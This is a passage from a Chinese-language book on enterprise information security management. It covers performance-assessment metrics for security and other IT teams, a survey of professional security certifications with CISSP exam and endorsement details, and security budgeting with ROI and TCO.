安全工作,态度决定一切,所以要在客观指标的基础上,补充一些主观指标,衡量工作态度和岗位 胜任能力。例如,可以在工作技能、工作主动性、团队意识、执行力、服务态度、学习意愿和学习能 力、工作量、工作质量等方面,设置优、良、中、差等几个等级,由上级给出等级判断和评分。 3.既要设置衡量安全团队自身工作情况的指标,又要设置衡量其他团队开展安全工作情况的指标 安全工作,大部分其实都不是安全团队自己动手完成的,而是要协调和调动开发、运维等其他团队 来完成。所以需要衡量安全事件发生数、主动发现风险数等安全团队直接达成的目标,还要衡量其他团 队风险整改率、其他团队违规次数等需要配合才可完成的工作。 4.既要在安全团队设置安全类考核指标,也要在开发、运维等其他团队设置安全类考核指标 鉴于安全工作是信息安全团队组织其他团队一起达成目标的,所以除了在安全团队建立绩效考核指 标外,在其他团队的绩效考核指标中也纳入一两项安全工作相关指标,才有利于工作的开展,有利于促 进整个信息科技大团队的眼往一处看、劲往一处使。 在上述总体原则的指导下,便可针对各类团队和个人,设置不同的考核方案。 8.3.2 总部IT部门安全团队 1.考核内容 (1)结果项 结果项包括安全事件数量、安全合规不符合项、信息系统漏洞整改率等结果指标。 安全事件数量,包括全年由行业监管部门通报且安全团队未主动发现的高、中危安全事件数量。安 全事件类型包括:应用系统漏洞、直接获取重要系统权限、敏感信息泄露等。 安全合规不符合项,是指安全合规检查不符合项(含内审、风险评估、安全专项任务等)以及合规 安全任务未落实情况。 信息系统漏洞整改率,所有内外部发现的信息系统高、中危漏洞整改修复应大于一定比例。 有关信息安全事件与安全合规不符合项分级定义见8.5节。 有关信息系统漏洞分级标准示例见表8-3“信息系统漏洞分级标准”。 (2)过程项 过程项包括安全建设、安全运营、安全检查、安全意识宣贯、监管合规落实等指标。 (3)加减分项 加分项包括:在完成各项安全任务的同时,为公司或部门带来良好声誉,或避免了安全事件发生; 按计划提前完成且质量达到要求,或按计划完成且质量超预期。 减分项包括:给公司造成不良影响的,在原有扣分标准上加倍;由于主观原因,未按计划完成,在 原有扣分标准上加倍。 2.考核周期、考核权重、考核分数 考虑到考核工作本身占用的工作量比较大,考核频度通常以季度为宜。考核权重中,结果指标一般 至少占安全团队绩效的50%,以百分制计算为50分。 有关考核的一些具体定量和定性指标设置,详见8.5节。 8.3.3 总部IT部门非安全团队(平行团队) 1.考核内容 (1)结果项 结果项包括安全事件数量,信息系统漏洞整改率、安全合规检查风险发现数量等结果指标。安全合 规检查风险发现主要考核安全合规检查不符合项(含内审、风险评估、安全专项任务等)。 信息系统漏洞风险分级:漏洞级别采用信息安全通用风险定义标准(见表8-3),分为严重、高危、 中危、低危四个级别。漏洞分级综合考虑了漏洞的危害及实际被利用的难易程度。 漏洞考核标准(漏洞扣分按100分制计算)如表8-1所示。 表8-1 漏洞考核标准 漏洞考核计算方式如表8-2所示。 表 8-2 漏洞考核计算 在表8-2中: ·发现即考核的漏洞,检测发现时按漏洞等级扣分,在修复周期内修复减免50%;修复时间超过1周期 按100%扣分,超过2周期按200%扣分,以此类推。 ·仅考核修复的漏洞,检测发现时不考核,在漏洞等级修复周期内修复不考核;修复时间超过1周期按 漏洞风险级别按100%扣分,超过2周期时按200%扣分,以此类推。 ·如遇特殊情况,可申请延期修复,审核通过后可获得最高2个周期的延期。 (2)过程项 过程项包括安全任务落实情况(正向指标),通过OA流程发起的落实合规监管、安全推动等任务的 完成情况,每次任务完成情况的综合评价(时间、质量)。 2.考核周期、考核权重、考核分数 考虑到考核工作本身占用的工作量比较大,考核频度通常以季度为宜。考核权重一般占IT部门各团 队的5%~10%绩效,以百分制计算为5~10分。 8.3.4 个人考核 个人考核,主要是制订安全团队成员的个人考核指标。一般遵循以下原则: ·结果第一,过程是为结果服务的,能力必须通过结果体现。 ·职责和职级匹配,如果一个员工是10万薪酬的职级,却和20万、30万薪酬的员工的职责相同,放在 同一级别池子里考核,这是不公平的。薪酬高的员工,就应承担与薪酬匹配的职责和绩效考核。如果是 骨干员工、发展对象,除了上述职责职级匹配外,还需要额外付出。 ·建设性与事务性工作相结合,工作和学习相结合,多维度考核。 在上述原则指导下,每年会和员工沟通,确定绩效考核年度目标,包含安全性(30%)、安全建设重 点项目(30%)、技术创新(10%)、督办事项(5%)、常态化工作(5%)、人才成长(10%)、满意 度(10%)。此外,还可以设置上级的主观性评分。 ·安全性,和整个安全团队安全事件数量等安全结果指标挂钩,同时和该员工负责的领域的安全结果 挂钩。 ·安全建设重点项目,来自于前一年修订的“安全三年规划”,以及实际中爆发的安全威胁。每人承担 2~3项安全重点建设项目。考核时兼顾项目完成质量、取得的收益(效率提升,还是安全管控质量提升 等)、获得部门认可等。 ·技术创新,激励安全团队员工进行新技术跟踪、撰写研究报告并分享,测试新技术并引入等,哪怕 是开展一次有质量的头脑风暴和组织一次有效果的安全活动,都转换成技术创新积分,获得技术创新绩 效。 ·督办事项,大部分工作在年初制订绩效考核目标时能确定,但是总会临时出现一些工作,比如检查 配合、应急处置等。这部分工作放入督办事项中考核。 ·常态化工作,安全工作中有很多常态化工作,每位安全团队成员都应承担一部分常态化工作,比如 日常报表、安全事件日例会等。常态化工作主要考核差错情况。 ·人才成长,除了工作,还要督促团队成员参加各类培训,考取各类认证,以及看书学习。企业安全 建设的安全人员,容易脱离实战,因此定期参加攻防对抗的培训,考取诸如CEH等实战类的认证,对安 全团队成员发展有利。同时,还应鼓励团队成员提升非安全技能的软性技能,比如沟通、逻辑、表达、 战略、规划等方面能力,督促员工多看书、多学习。 ·满意度,在团队协作、沟通配合等方面的考核中放入满意度,满意度是考核的一个维度,也是员工 专业性、协作、态度等多方面的综合表现。 ·主观性评分,包括执行力、工作技能、工作态度、工作量、工作质量、学习意愿和学习能力、工作 主动性等方面的主观评分,通常由上级直接打分。 8.3.5 一些细节 1.考核注意点 实际安全考核中有几点需要注意: ·防止恶性竞争,比如有的考核项是计算数量的,要设置一个数量上限,防范恶性竞争的问题。比如 设置了一个安全知识库数量的考核项,要同时设置一个数量上限,以团队为考核单位,最多2条,超过2 条即可拿满分,否则容易造成各团队恶性竞争。 ·团队规模不均带来的公平性问题,漏洞考核时一般会给各团队漏洞数量豁免,豁免数量要考虑团队 规模、维护的系统数量等实际情况,不能“一刀切”。 2.防止秋后算账 考核是手段,而非目的。考核的目的是,通过考核,促进各团队的安全规则落地。因此在发生安全 事件,出现安全漏洞、不合规情况时,要立即进行考核通报,防止年终一次性计算。要即时结账、不要 秋后算账的另一好处是,落后的团队看到排名和不好的结果,还可以努力补救,这也达到了考核的目 的。 3.利用5%实现100%的效果 安全考核对平行团队考核虽然只有5%,但要发挥出100%的效果。这需要整个考核体系的支持和配 合。在笔者经历过的企业中,就可以达到这个效果,因为强制排名。每个团队是强制排名的,也就是说 即使只比前一名的团队少0.1分,但因为是强制排名,最终可能获得的优秀指标就会少于50%,从而每个 团队对0.1分的考核项都不敢掉以轻心,5%实现100%的效果。 4.正向还是负向激励 多用正向激励,慎用负向激励。负向激励可转化为正向激励。有两种转化方式: ·如果考核在[-X,+Y]区间,那么设置考核分数为[0,X+Y]的效果要比[-X,+Y]好很多。因为[0, X+Y]全部为得分项,属于正向激励。 ·考核在规定时间内完成,要么减免50%扣分,要么增加一倍加分。比如在修复周期内完成修复,漏 洞考核减免50%扣分。这样起到了正向激励的作用,既督促了大家,也达到了安全考核目标。 8.4 与考核相关的其他几个问题 1.免费的胡萝卜 从职业生涯之初,直到成为企业安全负责人,都或多或少会遇到一些困惑:如何说服别人支持自 己,以推动安全工作?如果资源是无限的,每个人完成了工作,都可以得到枚钻石,那就简单了,可惜 资源是有限的。正因为资源是有限的,因此我们要“多喂免费的胡萝卜”。 “胡萝卜”,在管理学的范畴中,引申为有效的赏识和奖励机制,员工都渴求这种机制的感应和刺 激。能力是否得到上司认可,这关系到员工是否要改换门庭—寻找他们能够得到承认和赏识的更好的职 场环境。所以,为了留住卓越的员工,保持中坚力量的稳定,领导者就必须在企业内部营造胡萝卜文 化,吸纳人才,并努力使团队更多地活跃在达观和愉悦的工作环境中。喂胡萝卜除了对团队成员有效, 对与工作相关的任何干系人都有效。 在安全建设推动工作中有哪些免费的胡萝卜呢?表扬、排名、通报、扣分、给荣誉奖项等等都是可 行的。 除了上述推动工作方式以外,还有一点就是,跑得勤快一点。“人怕见面,树怕剥皮”,为了推动工 作,达到想要的目标,找到关键干系人,一次不行就两次,多去找几次,见面谈,成功概率很大的。笔 者特别不提倡的就是通过邮件、微信、电话等和别人谈很重要的工作。对于那些拒绝工作沟通的人,一 定要拿出自己的诚意,让别人看到自己的付出和努力,发发邮件、打打电话的方式不可取。 2.要不要满意度 以目前国内企业对安全的认知,安全团队不太可能获得好的满意度。反倒是满意度高的安全团队要 思考一下,大BOSS会怎么想。以笔者的实际经历来看,满意度高的团队绩效表现一般都比较平庸甚至较 低。满意度实际是多方维度,平行团队对你的满意度和上级对安全团队的满意度,以及团队成员对安全 团队的满意度,三者都需要考虑。笔者一般考虑的优先级是上级对安全团队的满意度>安全团队成员对安 全团队的满意度>平行团队对安全团队的满意度。 上级对安全团队的满意度,其实就是安全团队的价值,安全团队的绩效。创造价值、做出成绩、解 决问题,才能让上级满意,这个道理简单易懂。 安全团队成员对安全团队的满意度,其实很重要。满意度不高,团队容易一盘散沙,瞬间分崩离 析,肯定也不会取得好的安全绩效。这就要求安全负责人要研究怎么满足安全团队成员的满意度。笔者 的亲身体会(包括做员工时期)是,要让团队成员个人价值得到提升,能够通过自己的辛勤劳动获得体 面的收入,同时能够收获尊重和认可。价值提升和体面收入,一个是长期收益,一个是短期收益,有眼 光的人会优先关注长期收益。所以需要经常和团队成员沟通,要有危机感,不要有太多优越感。可以让 团队成员多想想,如果公司不是只有一个安全团队,如果不是垄断,用户会不会买我们的服务?把自己 放入互联网企业、制造企业,会不会适应快节奏、低成本、一切都围绕有效来开展工作? 平行团队对安全团队的满意度,如果安全团队做出价值,为公司、部门和平行团队带来安全保障, 相信有格局的管理者会给出公平的满意度评价,即使有时候由于各种主观客观原因,对安全团队的打分 评价不是很客观,那也可以理解。这个满意度的关键还是在于大BOSS怎么看,如果安全团队做得很糟 糕,即使大家给安全团队满意度很高,结果也不会好。如果安全团队做得很好,同时还能影响和照顾平 行团队的诉求,满意度虽然不一定很高,但至少不会排名倒数第一。多年的实践表明,从倒数第一满意 度努力到倒数第二,就是成功。在成为倒数第一的时候,并不需要很生气,因为从正面角度看,至少说 明两点: ·安全管控实实在在,不再是可有可无。 ·安全肯定有很大改进提升空间。 接下来的事也挺简单,和平行团队沟通,哪些是可以改进优化的,就积极努力去做,按这个思路, 第二年基本就不会倒数第一了。 3.内部问责 有了考核、排名、通报,还需不需要内部问责?笔者的建议是:需要。在安全这个需要认真严谨来 不得半点敷衍的领域,规则+检查+问责是最好的落地方法。先约定达成一致的安全规则,然后通过强有 力的检查发现违反规则的行为,进行考核,对于违反红线的进行内部问责。内部问责是高压线。 安全开发流程(Security Development Lifecgcle,SDL)中提到SDL实战经验的四条准则,第三条是树 立安全部门的权威、项目必须由安全部门审核完成后才能发布。如果没有这样的权威,安全就变成了可 有可无的东西。当然,这句话并非绝对,在树立安全部门权威的同时,安全也可能对业务妥协。比如, 对于不是非常严重的问题,在业务时间压力非常大的情况下,可以考虑事后再进行修补,或者使用临时 方案应对紧急情况。安全最终是需要为业务服务的。 4.安全考核,没有唯一标准答案,在于实践 安全考核属于企业考核评价体系的一部分,不可能脱离企业评价体系而单独存在,而企业考核评价 体系有各种风格,各种实际情况,和企业的文化、风格、所属行业等因素皆相关,因此安全考核注定没 有一份唯一的标准答案,但坚持实践一定会得到你想要的最好答案。没有捷径,最好的路径就是日拱一 卒。 8.5 安全考核示例 1.信息安全事件分级示例 信息安全事件分级包括:重大事件、较大事件、一般事件。 重大事件: ·被行业监管部门、公司内控部门通报或批评。 ·被行业权威部门发现系统漏洞或风险(如公共漏洞平台等),且存在重大隐患或已造成重大损失。 ·行业《信息安全事件报告及调查处理办法》中定义的特别重大事件、重大事件。 ·安全检测(内部、外部)中发现的因违反安全管理规范或开发规范等相关要求,产生的重大安全隐 患或高风险系统漏洞。 较大事件: ·被外部单位发现系统漏洞或风险,且存在较大隐患。 ·行业《信息安全事件报告及调查处理办法》中定义的较大事件。 ·安全检测(内部、外部)中发现的因违反安全管理规范或开发规范等相关要求,产生的较大安全隐 患或中风险系统漏洞。 一般事件: ·部门内部通报。 ·行业《信息安全事件报告及调查处理办法》中定义的一般事件。 ·安全检测(内部、外部)中发现的因违反安全管理规范或开发规范等相关要求,产生的一般安全隐 患。 2.安全合规不符合项(含内审、风险评估等)分级示例 按不符合项对应标准的相关级别分为:严重、一般、轻微。 严重不符合: ·不符合监管部门发布的相关制度、办法及指引中操作类要求。 ·不符合公司发布的相关制度、办法中相关要求。 ·不符合安全规范要求,且存在重大隐患。 一般不符合: ·不符合公司发布的各类操作指引、技术规范。 ·不符合安全规范要求,且存在较大隐患。 轻微不符合: ·不符合部门发布的各类细则、指引、规范。 ·不符合部门内部安全管理要求。 3.信息系统漏洞分级标准示例 信息系统漏洞级别分为:严重、高危、中危、低危。具体描述如表8-3所示。 表8-3 信息系统漏洞分级标准 4.定量(客观性)KPI设置建议 定量考核指标库中的可选指标建议如下。企业可以先建立一个整体KPI指标库(见表8-4),然后根 据安全团队、平行团队等工作重点,从指标库中选择对应的指标衡量,通常选取指标3~5个为宜。 表8-4 安全团队绩效KPI指标 此外,还可以设置重大信息安全事件、重大信息安全攻击事件、监管通报重大风险、监管评级降级 等一票否决型指标,一旦触发则整个考核期内的分数可以一朝归零。 5.定性(主观性)指标设置建议 定性指标的设置,主要是因为KPI指标有限,不能完全衡量一个人的所有业绩,特别是工作态度和工 作能力方面,需要上级给出一个主观性的衡量。但定性指标设置通常不宜过多,一般不超过5个为宜,而 且在整个考核分值中的占比不宜超过40%。 表8-5为定性指标供参考。 表8-5 安全团队绩效主观评价指标 8.6 小结 安全考核,属于企业评价体系的一部分,涉及考核对象、考核方式、考核指标、考核结果运用等。 由于安全工作绩效的衡量较为困难,安全考核体系的设计也是金融企业安全负责人面临的难题之一。在 资源受限的情况下,如何针对不同的考核对象设计不同的安全考核指标,促进企业安全工作的整体进 展,是一个需要不断尝试和探索的领域。 第9章 安全认证 从事安全工作之后,或多或少会接触一些安全认证,根据认证对象不同,可以分为对机构的认证和 对个人的认证。对机构的认证主要是ISO(GB/T)系列,如ISO 27001、ISO 20000等,对个人的认证包 括:(ISC)2的CISSP、ISACA的CISA、思科公司的CCIE Security等。本章将介绍面向个人的认证体系。 9.1 为什么要获得认证 为什么要获得安全认证,或者说获得安全认证有哪些好处?一般来说,获得安全认证的需求来自于 以下几点: ·通过认证,提升自身安全知识和技能。这是最朴素的需求,安全行业知识更新很快,绝大多数安全 从业人员要想在激烈竞争中不被淘汰,就要通过获得认证,在短时间内快速提升自身安全知识和技能, 特别是补全自己的知识短板,逼迫自己主动学习。笔者刚毕业时,给自己定的目标也是一年至少通过一 个重量级安全认证,以此来促使自己主动学习和提升。 ·工作需要。很多公司,特别是乙方公司,需要安全证书持有者,用于项目投标等。有的公司为了鼓 励员工考取认证,甚至会给予通过认证的员工一定数额的加薪和补助。而很多甲方公司招聘时,在岗位 要求中会明确“具有信息安全认证XXX者优先”。以下是几大著名招聘网站,出现相关安全证书岗位数, 如图9-1所示。 ·其他需要。有些人考取难度很高、拥有数量极少的认证,纯粹是为了挑战、兴趣等;有人将认证培 训当生意,自身首先通过并引入国内。这类需求虽然很少,但也确实存在。 图9-1 招聘网站出现的安全证书岗位数 9.2 认证概述 9.2.1 认证分类 安全认证分成以下六类,第三、四、六类我们平常接触较多,最近几年第一、二类认证也逐步开始 多起来,第五类参与的人比较少。 第一类:Hacking&Pen Testing certifications 主要是与渗透测试有关的认证,包括: ·Mile2 CPTC-Certified Penetration Testing Consultant ·Mile2 CPTE-Certified Penetration Testing Engineer ·CompTIA Security+(Introduction/Beginner) ·ISACA CSX CYBERSECURITY FUNDAMENTALS CERTIFICATE(Introduction/Beginner) ·ISACA CSX PRACTITIONER ·7Safe CSTA-Certified Security Testing Associate(British CEH) ·GIAC/SANS GIAC Penetration Tester(GPEN) ·Offensive Security Certified Professional–OSCP ·Offensive Security Wireless Professional–OSWP ·Offensive Security Certified Expert–OSCE ·Offensive Security Exploitation Expert–OSEE ·EC-Council CEH-Certified Ethical Hacker ·EC-Council ECSA-EC-Council Certified Security Analyst ·IACRB Certified Expert Penetration Tester(CEPT) ·IACRB Certified Penetration Tester(CPT) ·ISFCE Certified Computer Examiner(CCE) ·Logical Operations CyberSec First Responder(CFR) 第二类:Computer Forensics certifications 主要是与计算机取证有关的认证,包括: ·Mile2 CDFE-Certified Digital Forensics Examiner ·Mile2 CNFE-Certified Network Forensics Examiner ·GIAC/SANS GCFA:GIAC Certified Forensic Analyst ·GIAC/SANS GCFE:GIAC Certified Forensic Examiner ·GIAC/SANS GREM:GIAC Reverse Engineering Malware ·GIAC/SANS GNFA:GIAC Network Forensic Analyst ·GIAC/SANS GASF:GIAC Advanced Smartphone Forensics ·ISC2 CCFP-Certified Cyber Forensics Professional ·EC-Council CHFI-Computer Hacking Forensic Investigator ·EnCe:EnCase Certified Examiner. ·IACIS Certified Forensic Computer Examiner(CFCE) ·CyberSecurity Forensic Analyst CSFA 第三类:Management/Others certifications 主要是与信息安全管理有关的认证,包括: ·Mile2 CISSO-Certified Information Systems Security Officer ·Mile2 CIHE-Certified Incident Handling Engineer ·Mile2 CHISSP-Certified Healthcare IS Security Practitioner ·CompTIA CASP CompTIA Advanced Security Practitioner ·GIAC/SANS GSLC:GIAC Security Leadership ·GIAC/SANS GISP:GIAC Information Security Professional ·GIAC/SANS GCPM:GIAC Certified Project Manager ·GIAC/SANS GCIH:GIAC Certified Incident Handler ·ISC2 SSCP-Systems Security Certified Practitioner ·ISC2 CISSP-Certified Information Systems Security Professional ·ISC2 CCSP-Certified Cloud Security Professional ·ISC2 CSSLP-Certified Secure Software Lifecycle Professional ·ISC2 HCISPP-HealthCare Information Security and Privacy Practitioner ·EC-Council CCISO-Certified Cheif Information security Officer ·IACRB Certified SCADA Security Architect(CSSA) ·ISACA Certified in Risk and Information Systems ControlTM(CRISCTM) ·ISACA Certified Information Security Manager®(CISM®) ·ISACA Certified in the Governance of Enterprise IT®(CGEIT®) 第四类:Auditing Certifications 主要是与信息安全审计有关的认证,包括: ·Mile2 CISMS-LA-Information Security Management Systems Lead Auditor ·Mile2 CISMS-LI-Information Security Management Systems Lead Implementer ·GIAC/SANS GSNA:GIAC Systems and Network Auditor ·ISACA Certified Information Systems Auditor(CISA) 第五类:Web Applications Security certifications 主要是与Web安全有关的认证,包括: ·Mile2 CSWAE-Certified Secure Web Application Engineer ·Offensive Security Web Expert-OSWE ·GIAC/SANS GWEB:GIAC Certified Web Application Defender 第六类:Vendor's certifications 主要是思科、CheckPoint、Juniper等厂商推出的认证,包括: ·Cisco CCNA Cyber Ops ·Cisco CCNA Security ·Cisco CCNP Security ·Cisco CCIE Security ·Fortinet Network Security Expert(NSE)1 to 8 ·Check Point Certified Security Administrator(CCSA) ·Palo Alto Accredited Configuration Engineer(ACE) ·Palo Alto Networks Certified Network Security Engineer(PCNSE) ·Symantec Certified Specialist(SCS) ·Blue Coat X-Series Certified Specialist(BCXCS) ·Blue Coat X-Series Certified Expert(BCXCE) ·Juniper Networks Certified Specialist Security(JNCIS-SEC) ·Juniper Networks Certified Professional Security(JNCIP-SEC) ·Juniper Networks Certified Expert Security(JNCIE-SEC) 9.2.2 认证机构 认证机构主要包括:(ISC)2、CompTIA、Offensive Security、ISACA、GIAC、Mile2、EC-Council 等,认证机构和其推出的认证如表9-1所示。 表9-1 认证机构及其推出的认证 9.3 选择什么样的认证 2012年7月1日,国际标准化组织(ISO)发布了新修订的ISO/IEC 17024标准《合格评定人员认证机构 通用要求》。简单说,17024是各类认证官方机构的遵从标准。符合17024的证书列表见图9-2。 图9-2 符合17024的证书列表(参见网址https://www.ansi.org/Accreditation/credentialing/personnel- certification/ALLdirectoryListing?menuID=2&prgID=201&statusID=4) 美国国防部的证书要求见图9-3。 各种热门安全认证排名见图9-4。 图9-3 美国国防部的证书要求 图9-4 各种热门安全认证排名 从招聘岗位对证书的需求、热门认证排名等综合来看,CISSP、CISA、CISM、CEH等证书的需求和 含金量都不错。另外像CCSP这样推出时间短,又属于新兴领域(云安全)的证书,含金量也是很高的, 值得推荐。 安全认证,要结合自身实际情况选择。 9.4 如何通过认证 获得安全认证一般分为两个步骤。先通过认证考试,然后申请证书。大部分厂商颁发的证书(对应 第六类认证)在通过认证考试后即可获得,无须申请。有的证书有有效期,有效期之后需要每年维持一 定的CPE积分才能保持证书持有资格,比如CISSP、CISA等。鉴于CISSP证书的知名度和影响力,下面以 CISSP为例介绍获得证书的基本过程。CISSP证书的持证比例每年都在增长,见图9-5,已成为安全从业人 员的首要认证。 图9-5 CISSP证书持证增长情况 1.考前准备 根据不同情况,一般复习准备时间约为半年,因人而异。备考资料ALL IN ONE+官方学习指南。大 部分安全从业者英语可能都不太好,因此建议ALL IN ONE选择看中文版,每章后面都有一个总结,对全 章的知识点进行提炼,一定要仔细认真看,这是全章的精华部分。看完中文版之后开始看对应的英文 版,因为中文版是翻译英文版的,看英文版的时候把中文版放在旁边,有不认识的英文长句和英文单 词,直接看中文版,比查字典快。如果没有时间通读英文版,就只看全章知识点的那部分英文。具体时 间分配:2个月ALL IN ONE,2个月官方学习指南,2个月练习题和回顾知识点,最后10天冲刺,最好能 够请一周假,全力冲刺。 部分认证是需要参加官方培训才可以报名参加考试,大部分不需要参加官方培训。还有一种方式是 借助第三方培训机构。第三方培训机构能够快速传授认证的知识点和关键信息,但具体的知识内容还是 需要自己花时间去学习、理解和掌握。第三方机构能够为你节约准备复习材料和报名考试、申请认证 (很多认证都需要英文网站报名和证书申请)的时间,如果自己英文不是很好,时间也不充裕的话,可 以考虑第三方机构培训。 资源方面,一般买书之后会附赠一些Online testbank,如图9-6所示。 图9-6 买书附赠的一些Online testbank(https://testbanks.wiley.com) 论坛:http://www.techexams.net/ 练习题资源:http://www.briefmenow.org/isc2/ 笔者2012年通过了CISSP认证考试并申请获得了证书,根据亲身经历做了总结回顾,感兴趣的读者可 以阅读附录A.1“我的CISSP之路”。 2.考试 考试类型:250道选择题。 考试语言:中英文。 考试时间:360分钟。 考试中心:北上广深、香港都有考点。 及格分数:700(满分1000分)。 考试费用:599美元,改期50美元,取消考试100美元,补考费用599美元。 3.证书申请和维持 (1)对CISSP证书申请人的要求 必须满足以下条件之一,才能申请CISSP证书: ·ISC2 CISSP CBK的领域中两个或以上,拥有至少5年的全职工作经验。 ·ISC2 CISSP CBK的领域中两个或以上,拥有至少4年的全职工作经验,并拥有大学学位。 ·ISC2 CISSP CBK的领域中两个或以上,拥有至少4年的全职工作经验,并持有ISC2认可及核准的证 书,如未有所需的专业工作经验,可先成为ISC2 CISSP准成员(Associate of ISC2 toward CISSP),积累 所需的专业工作经验及年资。通过CISSP考试起有最多6年时间去积累相关的工作经验,但在此期间必须 维持良好的准成员状况及有效性,申请人通过考试后,提出要求及列明状况,此项申请必须在收到考试 合格通知书的9个月内完成申请,如错过了9个月的期限,会被要求重考,才可以获得认证。 ·自2012年1月1日起,通过了CISSP考试的学员必须要在收到考试合格通知书的9个月内完成背书程 序,否则同样会被要求重考,才可以获得认证。 (2)证书申请 CISSP认证考试通过后,(ISC)2会要求填写4页的endorsemet,填写内容大概如下: 第一页 CANDIDATE INFORMATION Lastname/Suname:“考生”的姓。 Firstname/Given:“考生”的名。 Examination Number:“考生”准考证上的ID号,每个考生都有。 Select One:在对应的考试科目上划“v”。 ENDORSER INFORMATION Lastname/Suname:“推荐人”的姓。 Firstname/Given:“推荐人”的名。 Email Address:“推荐人”的电子信箱。 Phone:“推荐人”的联系电话。 Fax Number:“背书人”的传真。 备注:“推荐人”一般指持有效(ISC)2认证的人士,他们要在endorsemet上签名做推荐,一般不会通过 传真联系“推荐人”。 ENDORSEMET Select One:在对应的考试科目上划“v”。 Certification Number:“推荐人”的CISSP ID。 Position/title:可填可不填。 填写日期栏:按照格式填写签名的日期,如200年7月15日,就填写15th day of Jul,2008。 Endorsers'ignature:“推荐人”签名,签名都是英文的,和CISSP考试注册时的一样。 第二页 最后一行填写“考生”的签名和签名日期。 第三页 CISSP、CAP、SSCP,在你对应的考试科目上打“v”,另外一大项中都直接选YES好了。 第四页 没有需要填写的地方。 以上填写完毕可以扫描,然后用邮件发给对方,记得附上简历。 (3)证书维护 很多证书都有时效性,需要在一段时间后重新认证,以促使持有者关注所在专业的最新动向。CISSP 资质的有效期为3年,3年后可以重新参加考试进行再认证,但(ISC)2支持持续专业教育积分(Continuing Professional Education-CPE)计划,CISSP资质持有者在3年内获得120个持续专业教育(CPE)积分,同 时每年缴纳85美元的年度维护费(maintenance fee),便可保持其CISSP资质。 9.5 小结 通过获得安全认证,安全从业人员可以提供专业证明,获得晋升和加薪机会,提高客户信心。根据 自身从事的安全领域,选择合适的安全认证,并坚持自我知识更新,会取得意想不到的收获。 第10章 安全预算、总结与汇报 企业安全建设中离不开安全预算的制订、日常安全总结以及安全汇报,本章将介绍这几个方面的一 些实践。 10.1 安全预算 1.安全预算比例 安全预算的第一个问题是,安全投入占IT投入比例多少是合适的?2015年麦肯锡公司调研了45个全 球500强公司(如图10-1所示),中位数是3%,最多的是10%。 图10-1 安全预算占IT投入比 另外一份调查报告《IT Security Spending Trends(SANS 2016)》显示,公司全年的IT预算用于安全 性的百分比,最低的范围是0~3%的公司数量,而预算在4%~6%、10%~12%的公司三年时间(2014— 2016)内逐步增加。 上述统计数据基本是基于国外公司的数据,笔者没有看到国内公开的相关数据,金融行业如银行、 证券业的安全投入约占IT投入的5%,少数比较重视的会达到7%~10%。 安全投入的另一个趋势是,由于面临安全环境不断地恶化和监管要求的日益提升,安全预算一直处 于快速增长中,且普遍高于IT预算的增长幅度。 2.预算分配 企业信息安全预算该怎么花?《IT Security Spending Trends(SANS 2016)》显示(见表10-1),预 算投入领域排前三的分别是:保护和预防、检测和响应、合规和审计。 表10-1 安全预算投入领域 吴瀚清先生(道哥)曾经提到一个“三三三原则”:1/3投入到外部情报收集,这是来自外部的红军, 包括众测和SRC的建设;1/3投入到安全感知系统建设,只有先看到,才能实施有效防御(特别是防御能 力往往会落后于感知能力,所以要解耦);1/3投入到防御系统的建设。笔者实践总结出“五四一原则”: 50%用于新增各种安全Sensor的建设,安全Sensor是各种安全态势感知、安全监测的设备、产品和服务的 统称。安全感知系统其实就是一个由粗到细的过程,原来没办法监测的安全空白区通过研发和部署新的 监测工具实现安全监测并转入安全运营。40%用于维护和补充各种现有安全运维所需。10%用于人的建 设,包括面向不同层级对象的安全培训,对企业高层的安全宣导,开发运维人员的安全技能培训,以及 最重要的安全团队人员的安全技能提升。 3.ROI和TCO 衡量安全预算管理成效的两个重要指标是:投资回报(ROI)和总拥有成本(TCO)。 1)投资回报(Return on Investment,ROI),即投入产出比。早期用来判定投资工厂或购买铁路相 关的成本是否合理,现被广泛使用在各个领域,在安全领域则用于衡量信息安全投入的产出效益情况。 目前IT投入的ROI不一定都能衡量出来,安全投入这块怎么算才是合理的?一般分成财务收益和非财务收 益: ·财务收益,可以减少资损(创收),降低系统性能压力(降本),比如业务安全中打击羊毛党,既 降低了费用损失,也减少系统无效性能开销;又比如风控系统做好了,以前需要发验证码的交易,现在 不用发了,既提升了客户体验,又大幅降低验证码费用。例如,某行风控系统上线后,验证码发送率降 低七成,短时间节约几千万费用。 ·非财务收益,从合规性(监管检查无不符合项)、提高安全性、提升用户体验(同人模型降低安全 交付认证复杂度)、安全应急和危机公关(保持和提升品牌公信力)等衡量安全性的指标,除了过程指 标,如防病毒安装率、正常更新率、检出率和攻防对抗成功率外,还有最重要的两个结果指标,即非自 身发现的安全漏洞数和安全事件数。 2)总拥有成本(Total Cost of Ownership,TCO),用来帮助企业更好地衡量和管理IT投资所产生的 价值及其全部成本,指从拥有某种产品开始,直到停止使用该产品期间的所有与其相关的投入成本。 TCO分析的目的是,识别、量化并最终减少包括相关成本在内的总拥有成本。TCO包括三部分:资本支 出、运维成本和机会成本。 比如,我们决策建设安全运营体系,包括购买和部署安全运营平台所需的硬件和软件(资本支 出),安全运营所需的人力和运维服务(运维成本)。计算运维成本中很容易遗漏和不重视的是管理成 本,遇到一个安全缺陷,最佳的是通过自动化技术解决,不能自动化技术解决,则要通过管理方式解 决,两者成本是不同的。再比如,我们在安全运营中创建UseCase时,一定要考虑UseCase能否运营,考 虑因素包括误报率和日均工单数量,只有小于一定数量,运维成本才可控。机会成本是一个不可见、非 常难量化的部分。例如,因关键网络设备故障所引起的营收损失,因不能快速承载新业务来满足客户的 新需求而导致的利润流失等。 在绝大多数情形下,计算总拥有成本是一个需要持续努力的过程,它既需要考虑技术方面的因素, 又要兼顾非技术方面的因素,最好通过至少3年的时间范围来计算TCO。TCO的好处是,在决策初期提供 了一种强有力的成本估算方法,但这种估算方法只看重成本,所以如果过度看重TCO,将使公司和安全 团队最终采取将开支减到最少的策略,而较少考虑如何最大限度获得回报的策略,实践中应注意规避 TCO带来的不利影响。 4.注意事项 虽然最佳ROI难以衡量,但绝大多数公司和决策者不会拿出收入的50%去进行安全建设,安全管理水 平不能超越企业经营能力,或者说不能超越太多。大部分金融企业追求的是: ·与自身规模和行业排名相匹配的安全能力。 ·将安全压制在较低的合格线及底线。 因此大部分决策层表态重视安全,但在和业务发展冲突时会权衡,因此安全负责人要对此有所预知 并理解,实际上安全能力提高了,管理层和客户大部分是无感的,安全很多时候难做就在于此。某些安 全同仁在安全汇报中尝试归纳一些正向指标,比如业务漏洞数下降了X%,但其实这些是过程指标,最终 目标还是“不出事”,最后索性就用了减分的方法。这应该是大部分金融企业的做法。从这点大家就能感 